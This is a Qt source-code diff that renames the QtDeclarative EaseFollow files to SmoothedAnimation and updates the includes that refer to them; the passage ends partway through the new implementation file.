a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 6d1dec6..12ede34 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -44,7 +44,7 @@ #include "qdeclarativevisualitemmodel_p.h" #include "qdeclarativeflickable_p_p.h" -#include "qdeclarativeeasefollow_p_p.h" +#include "qdeclarativesmoothedanimation_p_p.h" #include #include diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 6a4f4b9..cbf8eac 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -44,7 +44,7 @@ #include "qdeclarativeflickable_p_p.h" #include "qdeclarativevisualitemmodel_p.h" -#include "qdeclarativeeasefollow_p_p.h" +#include "qdeclarativesmoothedanimation_p_p.h" #include #include #include diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index 3574c9f..c2cfbb1 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -44,7 +44,6 @@ #include #include -#include #include #include #include diff --git a/src/declarative/util/qdeclarativeeasefollow.cpp b/src/declarative/util/qdeclarativeeasefollow.cpp deleted file mode 100644 index ce2c496..0000000 --- a/src/declarative/util/qdeclarativeeasefollow.cpp +++ /dev/null @@ -1,484 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativeeasefollow_p.h" -#include "qdeclarativeeasefollow_p_p.h" - -#include "qdeclarativeanimation_p_p.h" - -#include -#include "qdeclarativeproperty_p.h" - -#include "qdeclarativeglobal_p.h" - -#include - -#include -#include - -#define DELAY_STOP_TIMER_INTERVAL 32 - -QT_BEGIN_NAMESPACE - -QSmoothedAnimation::QSmoothedAnimation(QObject *parent) - : QAbstractAnimation(parent), to(0), velocity(200), userDuration(-1), maximumEasingTime(-1), - reversingMode(QDeclarativeSmoothedAnimation::Eased), initialVelocity(0), - trackVelocity(0), initialValue(0), invert(false), finalDuration(-1), lastTime(0) -{ - delayedStopTimer.setInterval(DELAY_STOP_TIMER_INTERVAL); - delayedStopTimer.setSingleShot(true); - connect(&delayedStopTimer, SIGNAL(timeout()), this, SLOT(stop())); -} - -void QSmoothedAnimation::restart() -{ - if (state() != QAbstractAnimation::Running) - start(); - else - init(); -} - -void QSmoothedAnimation::updateState(QAbstractAnimation::State newState, QAbstractAnimation::State /*oldState*/) -{ - if (newState == QAbstractAnimation::Running) - init(); -} - -void QSmoothedAnimation::delayedStop() -{ - if (!delayedStopTimer.isActive()) - delayedStopTimer.start(); -} - -int QSmoothedAnimation::duration() const -{ - return -1; -} - -bool QSmoothedAnimation::recalc() -{ - s = to - initialValue; - vi = initialVelocity; - - s = (invert? -1.0: 1.0) * s; - - if (userDuration > 0 && velocity > 0) { - tf = s / velocity; - if (tf > (userDuration / 1000.)) tf = (userDuration / 1000.); - } else if (userDuration > 0) { - tf = userDuration / 1000.; - } else if (velocity > 0) { - tf = s / velocity; - } else { - return false; - } - - finalDuration = ceil(tf * 1000.0); - - if (maximumEasingTime == 0) { - a = 0; - d = 0; - tp = 0; - td = tf; - vp = velocity; - sp = 0; - sd = s; - } else if (maximumEasingTime != -1 && tf > (maximumEasingTime / 1000.)) { - qreal met = maximumEasingTime / 1000.; - td = tf - met; - - qreal c1 = td; - qreal c2 = (tf - td) * vi - tf * velocity; - qreal c3 = -0.5 * (tf - td) * vi * vi; - - qreal vp1 = (-c2 + sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); - - vp = vp1; - a = vp / met; - d = a; - tp = (vp - vi) / a; - sp = vi * tp + 0.5 * a * tp * tp; - sd = sp + (td - tp) * vp; - } else { - qreal c1 = 0.25 * tf * tf; - qreal c2 = 0.5 * vi * tf - s; - qreal c3 = -0.25 * vi * vi; - - qreal a1 = (-c2 + sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); - - qreal tp1 = 0.5 * tf - 0.5 * vi / a1; - qreal vp1 = a1 * tp1 + vi; - - qreal sp1 = 0.5 * a1 * tp1 * tp1 + vi * tp1; - - a = a1; - d = a1; - tp = tp1; - td = tp1; - vp = vp1; - sp = sp1; - sd = sp1; - } - return true; -} - -qreal QSmoothedAnimation::easeFollow(qreal time_seconds) -{ - qreal value; - if (time_seconds < tp) { - trackVelocity = vi + time_seconds * a; - value = 0.5 * a * time_seconds * time_seconds + vi * time_seconds; - } else if (time_seconds < td) { - time_seconds -= tp; - trackVelocity = vp; - value = sp + time_seconds * vp; - } else if (time_seconds < tf) { - time_seconds -= td; - trackVelocity = vp - time_seconds * a; - value = sd - 0.5 * d * time_seconds * time_seconds + vp * time_seconds; - } else { - trackVelocity = 0; - value = s; - delayedStop(); - } - - // to normalize 's' between [0..1], divide 'value' by 's' - return value; -} - -void QSmoothedAnimation::updateCurrentTime(int t) -{ - qreal time_seconds = qreal(t - lastTime) / 1000.; - - qreal value = easeFollow(time_seconds); - value *= (invert? -1.0: 1.0); - QDeclarativePropertyPrivate::write(target, initialValue + value, - QDeclarativePropertyPrivate::BypassInterceptor - | QDeclarativePropertyPrivate::DontRemoveBinding); -} - -void QSmoothedAnimation::init() -{ - if (velocity == 0) { - stop(); - return; - } - - if (delayedStopTimer.isActive()) - delayedStopTimer.stop(); - - initialValue = target.read().toReal(); - lastTime = this->currentTime(); - - if (to == initialValue) { - stop(); - return; - } - - bool hasReversed = trackVelocity != 0. && - ((trackVelocity > 0) == ((initialValue - to) > 0)); - - if (hasReversed) { - switch (reversingMode) { - default: - case QDeclarativeSmoothedAnimation::Eased: - break; - case QDeclarativeSmoothedAnimation::Sync: - QDeclarativePropertyPrivate::write(target, to, - QDeclarativePropertyPrivate::BypassInterceptor - | QDeclarativePropertyPrivate::DontRemoveBinding); - return; - case QDeclarativeSmoothedAnimation::Immediate: - initialVelocity = 0; - delayedStop(); - break; - } - } - - trackVelocity = initialVelocity; - - invert = (to < initialValue); - - if (!recalc()) { - QDeclarativePropertyPrivate::write(target, to, - QDeclarativePropertyPrivate::BypassInterceptor - | QDeclarativePropertyPrivate::DontRemoveBinding); - stop(); - return; - } -} - -/*! - \qmlclass SmoothedAnimation QDeclarativeSmoothedAnimation - \since 4.7 - \brief The SmoothedAnimation element allows a property to smoothly track a value. - - The SmoothedAnimation smoothly animates a property's value to a set target value - using an ease in/out quad easing curve. If the animation is restarted - with a different target value, the easing curves used to animate to the old - and the new target values are spliced together to avoid any obvious visual - glitches. - - The property animation is configured by setting the velocity at which the - animation should occur, or the duration that the animation should take. - If both a velocity and a duration are specified, the one that results in - the quickest animation is chosen for each change in the target value. - - For example, animating from 0 to 800 will take 4 seconds if a velocity - of 200 is set, will take 8 seconds with a duration of 8000 set, and will - take 4 seconds with both a velocity of 200 and a duration of 8000 set. - Animating from 0 to 20000 will take 10 seconds if a velocity of 200 is set, - will take 8 seconds with a duration of 8000 set, and will take 8 seconds - with both a velocity of 200 and a duration of 8000 set. - - The follow example shows one rectangle tracking the position of another. -\code -import Qt 4.6 - -Rectangle { - width: 800; height: 600; color: "blue" - - Rectangle { - color: "green" - width: 60; height: 60; - x: rect1.x - 5; y: rect1.y - 5; - Behavior on x { SmoothedAnimation { velocity: 200 } } - Behavior on y { SmoothedAnimation { velocity: 200 } } - } - - Rectangle { - id: rect1 - color: "red" - width: 50; height: 50; - } - - focus: true - Keys.onRightPressed: rect1.x = rect1.x + 100 - Keys.onLeftPressed: rect1.x = rect1.x - 100 - Keys.onUpPressed: rect1.y = rect1.y - 100 - Keys.onDownPressed: rect1.y = rect1.y + 100 -} -\endcode - - The default velocity of SmoothedAnimation is 200 units/second. Note that if the range of the - value being animated is small, then the velocity will need to be adjusted - appropriately. For example, the opacity of an item ranges from 0 - 1.0. - To enable a smooth animation in this range the velocity will need to be - set to a value such as 0.5 units/second. Animating from 0 to 1.0 with a velocity - of 0.5 will take 2000 ms to complete. - - \sa SpringFollow -*/ - -QDeclarativeSmoothedAnimation::QDeclarativeSmoothedAnimation(QObject *parent) -: QDeclarativeNumberAnimation(*(new QDeclarativeSmoothedAnimationPrivate), parent) -{ -} - -QDeclarativeSmoothedAnimation::~QDeclarativeSmoothedAnimation() -{ -} - -QDeclarativeSmoothedAnimationPrivate::QDeclarativeSmoothedAnimationPrivate() - : wrapperGroup(new QParallelAnimationGroup), anim(new QSmoothedAnimation) -{ - Q_Q(QDeclarativeSmoothedAnimation); - QDeclarative_setParent_noEvent(wrapperGroup, q); - QDeclarative_setParent_noEvent(anim, q); -} - -QAbstractAnimation* QDeclarativeSmoothedAnimation::qtAnimation() -{ - Q_D(QDeclarativeSmoothedAnimation); - return d->wrapperGroup; -} - -void QDeclarativeSmoothedAnimation::transition(QDeclarativeStateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarativeSmoothedAnimation); - QDeclarativeNumberAnimation::transition(actions, modified, direction); - - if (!d->actions) - return; - - QSet anims; - for (int i = 0; i < d->actions->size(); i++) { - QSmoothedAnimation *ease; - qreal trackVelocity; - bool needsRestart; - if (!d->activeAnimations.contains((*d->actions)[i].property)) { - ease = new QSmoothedAnimation(); - d->wrapperGroup->addAnimation(ease); - d->activeAnimations.insert((*d->actions)[i].property, ease); - trackVelocity = 0.0; - needsRestart = false; - } else { - ease = d->activeAnimations.value((*d->actions)[i].property); - trackVelocity = ease->trackVelocity; - needsRestart = true; - } - - ease->target = (*d->actions)[i].property; - ease->to = (*d->actions)[i].toValue.toReal(); - - // copying public members from main value holder animation - ease->maximumEasingTime = d->anim->maximumEasingTime; - ease->reversingMode = d->anim->reversingMode; - ease->velocity = d->anim->velocity; - ease->userDuration = d->anim->userDuration; - - ease->trackVelocity = trackVelocity; - ease->initialVelocity = trackVelocity; - - if (needsRestart) - ease->init(); - anims.insert(ease); - } - - for (int i = d->wrapperGroup->animationCount() - 1; i >= 0 ; --i) { - if (!anims.contains(d->wrapperGroup->animationAt(i))) { - QSmoothedAnimation *ease = static_cast(d->wrapperGroup->animationAt(i)); - d->activeAnimations.remove(ease->target); - d->wrapperGroup->takeAnimation(i); - delete ease; - } - } -} - -/*! - \qmlproperty enumeration SmoothedAnimation::reversingMode - - Sets how the SmoothedAnimation behaves if an animation direction is reversed. - - If reversing mode is \c Eased, the animation will smoothly decelerate, and - then reverse direction. If the reversing mode is \c Immediate, the - animation will immediately begin accelerating in the reverse direction, - begining with a velocity of 0. If the reversing mode is \c Sync, the - property is immediately set to the target value. -*/ -QDeclarativeSmoothedAnimation::ReversingMode QDeclarativeSmoothedAnimation::reversingMode() const -{ - Q_D(const QDeclarativeSmoothedAnimation); - return (QDeclarativeSmoothedAnimation::ReversingMode) d->anim->reversingMode; -} - -void QDeclarativeSmoothedAnimation::setReversingMode(ReversingMode m) -{ - Q_D(QDeclarativeSmoothedAnimation); - if (d->anim->reversingMode == m) - return; - - d->anim->reversingMode = m; - emit reversingModeChanged(); -} - -/*! - \qmlproperty int SmoothedAnimation::duration - - This property holds the animation duration, in msecs, used when tracking the source. - - Setting this to -1 (the default) disables the duration value. -*/ -int QDeclarativeSmoothedAnimation::duration() const -{ - Q_D(const QDeclarativeSmoothedAnimation); - return d->anim->userDuration; -} - -void QDeclarativeSmoothedAnimation::setDuration(int duration) -{ - Q_D(QDeclarativeSmoothedAnimation); - if (duration != -1) - QDeclarativeNumberAnimation::setDuration(duration); - d->anim->userDuration = duration; -} - -qreal QDeclarativeSmoothedAnimation::velocity() const -{ - Q_D(const QDeclarativeSmoothedAnimation); - return d->anim->velocity; -} - -/*! - \qmlproperty qreal SmoothedAnimation::velocity - - This property holds the average velocity allowed when tracking the 'to' value. - - The default velocity of SmoothedAnimation is 200 units/second. - - Setting this to -1 disables the velocity value. -*/ -void QDeclarativeSmoothedAnimation::setVelocity(qreal v) -{ - Q_D(QDeclarativeSmoothedAnimation); - if (d->anim->velocity == v) - return; - - d->anim->velocity = v; - emit velocityChanged(); -} - -/*! -\qmlproperty qreal SmoothedAnimation::maximumEasingTime - -This property specifies the maximum time, in msecs, an "eases" during the follow should take. -Setting this property causes the velocity to "level out" after at a time. Setting -a negative value reverts to the normal mode of easing over the entire animation -duration. - -The default value is -1. -*/ -int QDeclarativeSmoothedAnimation::maximumEasingTime() const -{ - Q_D(const QDeclarativeSmoothedAnimation); - return d->anim->maximumEasingTime; -} - -void QDeclarativeSmoothedAnimation::setMaximumEasingTime(int v) -{ - Q_D(QDeclarativeSmoothedAnimation); - d->anim->maximumEasingTime = v; - emit maximumEasingTimeChanged(); -} - -QT_END_NAMESPACE diff --git a/src/declarative/util/qdeclarativeeasefollow_p.h b/src/declarative/util/qdeclarativeeasefollow_p.h deleted file mode 100644 index 6c17d4f..0000000 --- a/src/declarative/util/qdeclarativeeasefollow_p.h +++ /dev/null @@ -1,104 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEEASEFOLLOW_H -#define QDECLARATIVEEASEFOLLOW_H - -#include -#include "qdeclarativeanimation_p.h" - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -QT_MODULE(Declarative) - -class QDeclarativeProperty; -class QDeclarativeSmoothedAnimationPrivate; -class Q_DECLARATIVE_EXPORT QDeclarativeSmoothedAnimation : public QDeclarativeNumberAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeSmoothedAnimation) - Q_ENUMS(ReversingMode) - - Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity NOTIFY velocityChanged) - Q_PROPERTY(ReversingMode reversingMode READ reversingMode WRITE setReversingMode NOTIFY reversingModeChanged) - Q_PROPERTY(qreal maximumEasingTime READ maximumEasingTime WRITE setMaximumEasingTime NOTIFY maximumEasingTimeChanged) - -public: - enum ReversingMode { Eased, Immediate, Sync }; - - QDeclarativeSmoothedAnimation(QObject *parent = 0); - ~QDeclarativeSmoothedAnimation(); - - ReversingMode reversingMode() const; - void setReversingMode(ReversingMode); - - virtual int duration() const; - virtual void setDuration(int); - - qreal velocity() const; - void setVelocity(qreal); - - int maximumEasingTime() const; - void setMaximumEasingTime(int); - -public: - virtual void transition(QDeclarativeStateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - QAbstractAnimation* qtAnimation(); - -Q_SIGNALS: - void velocityChanged(); - void reversingModeChanged(); - void maximumEasingTimeChanged(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarativeSmoothedAnimation); - -QT_END_HEADER - -#endif // QDECLARATIVEEASEFOLLOW_H diff --git a/src/declarative/util/qdeclarativeeasefollow_p_p.h b/src/declarative/util/qdeclarativeeasefollow_p_p.h deleted file mode 100644 index e71a009..0000000 --- a/src/declarative/util/qdeclarativeeasefollow_p_p.h +++ /dev/null @@ -1,133 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESMOOTHEDANIMATION_P_H -#define QDECLARATIVESMOOTHEDANIMATION_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "qdeclarativeanimation_p.h" -#include "qdeclarativeeasefollow_p.h" - -#include "qdeclarativeanimation_p_p.h" - -#include - -#include - -QT_BEGIN_NAMESPACE - -class QSmoothedAnimation : public QAbstractAnimation -{ -public: - QSmoothedAnimation(QObject *parent=0); - - qreal to; - qreal velocity; - int userDuration; - - int maximumEasingTime; - QDeclarativeSmoothedAnimation::ReversingMode reversingMode; - - qreal initialVelocity; - qreal trackVelocity; - - QDeclarativeProperty target; - - int duration() const; - void restart(); - void init(); - -protected: - virtual void updateCurrentTime(int); - virtual void updateState(QAbstractAnimation::State, QAbstractAnimation::State); - -private: - qreal easeFollow(qreal); - qreal initialValue; - - bool invert; - - int finalDuration; - - // Parameters for use in updateCurrentTime() - qreal a; // Acceleration - qreal d; // Deceleration - qreal tf; // Total time - qreal tp; // Time at which peak velocity occurs - qreal td; // Time at which decelleration begins - qreal vp; // Velocity at tp - qreal sp; // Displacement at tp - qreal sd; // Displacement at td - qreal vi; // "Normalized" initialvelocity - qreal s; // Total s - - int lastTime; - - bool recalc(); - void delayedStop(); - - QTimer delayedStopTimer; -}; - -class QDeclarativeSmoothedAnimationPrivate : public QDeclarativePropertyAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeSmoothedAnimation) -public: - QDeclarativeSmoothedAnimationPrivate(); - - QParallelAnimationGroup *wrapperGroup; - QSmoothedAnimation *anim; - QHash activeAnimations; -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVESMOOTHEDANIMATION_P_H diff --git a/src/declarative/util/qdeclarativesmoothedanimation.cpp b/src/declarative/util/qdeclarativesmoothedanimation.cpp new file mode 100644 index 0000000..b3a9b9a --- /dev/null +++ b/src/declarative/util/qdeclarativesmoothedanimation.cpp @@ -0,0 +1,483 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativesmoothedanimation_p.h" +#include "qdeclarativesmoothedanimation_p_p.h" + +#include "qdeclarativeanimation_p_p.h" + +#include +#include "qdeclarativeproperty_p.h" + +#include "qdeclarativeglobal_p.h" + +#include + +#include + +#define DELAY_STOP_TIMER_INTERVAL 32 + +QT_BEGIN_NAMESPACE + +QSmoothedAnimation::QSmoothedAnimation(QObject *parent) + : QAbstractAnimation(parent), to(0), velocity(200), userDuration(-1), maximumEasingTime(-1), + reversingMode(QDeclarativeSmoothedAnimation::Eased), initialVelocity(0), + trackVelocity(0), initialValue(0), invert(false), finalDuration(-1), lastTime(0) +{ + delayedStopTimer.setInterval(DELAY_STOP_TIMER_INTERVAL); + delayedStopTimer.setSingleShot(true); + connect(&delayedStopTimer, SIGNAL(timeout()), this, SLOT(stop())); +} + +void QSmoothedAnimation::restart() +{ + if (state() != QAbstractAnimation::Running) + start(); + else + init(); +} + +void QSmoothedAnimation::updateState(QAbstractAnimation::State newState, QAbstractAnimation::State /*oldState*/) +{ + if (newState == QAbstractAnimation::Running) + init(); +} + +void QSmoothedAnimation::delayedStop() +{ + if (!delayedStopTimer.isActive()) + delayedStopTimer.start(); +} + +int QSmoothedAnimation::duration() const +{ + return -1; +} + +bool QSmoothedAnimation::recalc() +{ + s = to - initialValue; + vi = initialVelocity; + + s = (invert? -1.0: 1.0) * s; + + if (userDuration > 0 && velocity > 0) { + tf = s / velocity; + if (tf > (userDuration / 1000.)) tf = (userDuration / 1000.); + } else if (userDuration > 0) { + tf = userDuration / 1000.; + } else if (velocity > 0) { + tf = s / velocity; + } else { + return false; + } + + finalDuration = ceil(tf * 1000.0); + + if (maximumEasingTime == 0) { + a = 0; + d = 0; + tp = 0; + td = tf; + vp = velocity; + sp = 0; + sd = s; + } else if (maximumEasingTime != -1 && tf > (maximumEasingTime / 1000.)) { + qreal met = maximumEasingTime / 1000.; + td = tf - met; + + qreal c1 = td; + qreal c2 = (tf - td) * vi - tf * velocity; + qreal c3 = -0.5 * (tf - td) * vi * vi; + + qreal vp1 = (-c2 + sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); + + vp = vp1; + a = vp / met; + d = a; + tp = (vp - vi) / a; + sp = vi * tp + 0.5 * a * tp * tp; + sd = sp + (td - tp) * vp; + } else { + qreal c1 = 0.25 * tf * tf; + qreal c2 = 0.5 * vi * tf - s; + qreal c3 = -0.25 * vi * vi; + + qreal a1 = (-c2 + sqrt(c2 * c2 - 4 * c1 * c3)) / (2. * c1); + + qreal tp1 = 0.5 * tf - 0.5 * vi / a1; + qreal vp1 = a1 * tp1 + vi; + + qreal sp1 = 0.5 * a1 * tp1 * tp1 + vi * tp1; + + a = a1; + d = a1; + tp = tp1; + td = tp1; + vp = vp1; + sp = sp1; + sd = sp1; + } + return true; +} + +qreal QSmoothedAnimation::easeFollow(qreal time_seconds) +{ + qreal value; + if (time_seconds < tp) { + trackVelocity = vi + time_seconds * a; + value = 0.5 * a * time_seconds * time_seconds + vi * time_seconds; + } else if (time_seconds < td) { + time_seconds -= tp; + trackVelocity = vp; + value = sp + time_seconds * vp; + } else if (time_seconds < tf) { + time_seconds -= td; + trackVelocity = vp - time_seconds * a; + value = sd - 0.5 * d * time_seconds * time_seconds + vp * time_seconds; + } else { + trackVelocity = 0; + value = s; + delayedStop(); + } + + // to normalize 's' between [0..1], divide 'value' by 's' + return value; +} + +void QSmoothedAnimation::updateCurrentTime(int t) +{ + qreal time_seconds = qreal(t - lastTime) / 1000.; + + qreal value = easeFollow(time_seconds); + value *= (invert? -1.0: 1.0); + QDeclarativePropertyPrivate::write(target, initialValue + value, + QDeclarativePropertyPrivate::BypassInterceptor + | QDeclarativePropertyPrivate::DontRemoveBinding); +} + +void QSmoothedAnimation::init() +{ + if (velocity == 0) { + stop(); + return; + } + + if (delayedStopTimer.isActive()) + delayedStopTimer.stop(); + + initialValue = target.read().toReal(); + lastTime = this->currentTime(); + + if (to == initialValue) { + stop(); + return; + } + + bool hasReversed = trackVelocity != 0. && + ((trackVelocity > 0) == ((initialValue - to) > 0)); + + if (hasReversed) { + switch (reversingMode) { + default: + case QDeclarativeSmoothedAnimation::Eased: + break; + case QDeclarativeSmoothedAnimation::Sync: + QDeclarativePropertyPrivate::write(target, to, + QDeclarativePropertyPrivate::BypassInterceptor + | QDeclarativePropertyPrivate::DontRemoveBinding); + return; + case QDeclarativeSmoothedAnimation::Immediate: + initialVelocity = 0; + delayedStop(); + break; + } + } + + trackVelocity = initialVelocity; + + invert = (to < initialValue); + + if (!recalc()) { + QDeclarativePropertyPrivate::write(target, to, + QDeclarativePropertyPrivate::BypassInterceptor + | QDeclarativePropertyPrivate::DontRemoveBinding); + stop(); + return; + } +} + +/*! + \qmlclass SmoothedAnimation QDeclarativeSmoothedAnimation + \since 4.7 + \brief The SmoothedAnimation element allows a property to smoothly track a value. + + The SmoothedAnimation smoothly animates a property's value to a set target value + using an ease in/out quad easing curve. If the animation is restarted + with a different target value, the easing curves used to animate to the old + and the new target values are spliced together to avoid any obvious visual + glitches. + + The property animation is configured by setting the velocity at which the + animation should occur, or the duration that the animation should take. + If both a velocity and a duration are specified, the one that results in + the quickest animation is chosen for each change in the target value. + + For example, animating from 0 to 800 will take 4 seconds if a velocity + of 200 is set, will take 8 seconds with a duration of 8000 set, and will + take 4 seconds with both a velocity of 200 and a duration of 8000 set. + Animating from 0 to 20000 will take 10 seconds if a velocity of 200 is set, + will take 8 seconds with a duration of 8000 set, and will take 8 seconds + with both a velocity of 200 and a duration of 8000 set. + + The follow example shows one rectangle tracking the position of another. +\code +import Qt 4.6 + +Rectangle { + width: 800; height: 600; color: "blue" + + Rectangle { + color: "green" + width: 60; height: 60; + x: rect1.x - 5; y: rect1.y - 5; + Behavior on x { SmoothedAnimation { velocity: 200 } } + Behavior on y { SmoothedAnimation { velocity: 200 } } + } + + Rectangle { + id: rect1 + color: "red" + width: 50; height: 50; + } + + focus: true + Keys.onRightPressed: rect1.x = rect1.x + 100 + Keys.onLeftPressed: rect1.x = rect1.x - 100 + Keys.onUpPressed: rect1.y = rect1.y - 100 + Keys.onDownPressed: rect1.y = rect1.y + 100 +} +\endcode + + The default velocity of SmoothedAnimation is 200 units/second. Note that if the range of the + value being animated is small, then the velocity will need to be adjusted + appropriately. For example, the opacity of an item ranges from 0 - 1.0. + To enable a smooth animation in this range the velocity will need to be + set to a value such as 0.5 units/second. Animating from 0 to 1.0 with a velocity + of 0.5 will take 2000 ms to complete. + + \sa SpringFollow +*/ + +QDeclarativeSmoothedAnimation::QDeclarativeSmoothedAnimation(QObject *parent) +: QDeclarativeNumberAnimation(*(new QDeclarativeSmoothedAnimationPrivate), parent) +{ +} + +QDeclarativeSmoothedAnimation::~QDeclarativeSmoothedAnimation() +{ +} + +QDeclarativeSmoothedAnimationPrivate::QDeclarativeSmoothedAnimationPrivate() + : wrapperGroup(new QParallelAnimationGroup), anim(new QSmoothedAnimation) +{ + Q_Q(QDeclarativeSmoothedAnimation); + QDeclarative_setParent_noEvent(wrapperGroup, q); + QDeclarative_setParent_noEvent(anim, q); +} + +QAbstractAnimation* QDeclarativeSmoothedAnimation::qtAnimation() +{ + Q_D(QDeclarativeSmoothedAnimation); + return d->wrapperGroup; +} + +void QDeclarativeSmoothedAnimation::transition(QDeclarativeStateActions &actions, + QDeclarativeProperties &modified, + TransitionDirection direction) +{ + Q_D(QDeclarativeSmoothedAnimation); + QDeclarativeNumberAnimation::transition(actions, modified, direction); + + if (!d->actions) + return; + + QSet anims; + for (int i = 0; i < d->actions->size(); i++) { + QSmoothedAnimation *ease; + qreal trackVelocity; + bool needsRestart; + if (!d->activeAnimations.contains((*d->actions)[i].property)) { + ease = new QSmoothedAnimation(); + d->wrapperGroup->addAnimation(ease); + d->activeAnimations.insert((*d->actions)[i].property, ease); + trackVelocity = 0.0; + needsRestart = false; + } else { + ease = d->activeAnimations.value((*d->actions)[i].property); + trackVelocity = ease->trackVelocity; + needsRestart = true; + } + + ease->target = (*d->actions)[i].property; + ease->to = (*d->actions)[i].toValue.toReal(); + + // copying public members from main value holder animation + ease->maximumEasingTime = d->anim->maximumEasingTime; + ease->reversingMode = d->anim->reversingMode; + ease->velocity = d->anim->velocity; + ease->userDuration = d->anim->userDuration; + + ease->trackVelocity = trackVelocity; + ease->initialVelocity = trackVelocity; + + if (needsRestart) + ease->init(); + anims.insert(ease); + } + + for (int i = d->wrapperGroup->animationCount() - 